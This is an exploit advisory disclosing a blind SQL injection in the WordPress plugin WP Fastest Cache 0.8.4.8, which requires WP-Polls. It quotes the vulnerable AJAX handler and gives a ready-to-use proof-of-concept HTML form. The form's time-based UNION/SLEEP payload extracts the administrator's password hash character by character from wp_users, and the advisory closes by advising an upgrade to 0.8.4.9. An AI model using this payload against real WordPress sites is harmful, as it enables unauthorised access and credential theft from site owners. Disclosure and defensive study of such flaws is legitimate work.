WordPress Plugin WP Fastest Cache 0.8.4.8 - Blind SQL Injection

# Exploit Title: WP Fastest Cache 0.8.4.8 Blind SQL Injection
# Date: 11-11-2015
# Software Link: https://wordpress.org/plugins/wp-fastest-cache/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
   
For this vulnerabilities also WP-Polls needs to be installed.

Everyone can access wpfc_wppolls_ajax_request().

$_POST["poll_id"] is not escaped properly.

File: wp-fastest-cache\inc\wp-polls.php

public function wpfc_wppolls_ajax_request() {
	$id = strip_tags($_POST["poll_id"]);
	$id = mysql_real_escape_string($id);

	$result = check_voted($id);

	if($result){
		echo "true";
	}else{
		echo "false";
	}
	die();
}

http://security.szurek.pl/wp-fastest-cache-0848-blind-sql-injection.html

2. Proof of Concept

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wpfc_wppolls_ajax_request">
	<input type="text" name="poll_id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1) -- ">
	<input type="submit" value="Send">
</form>

3. Solution:
   
Update to version 0.8.4.9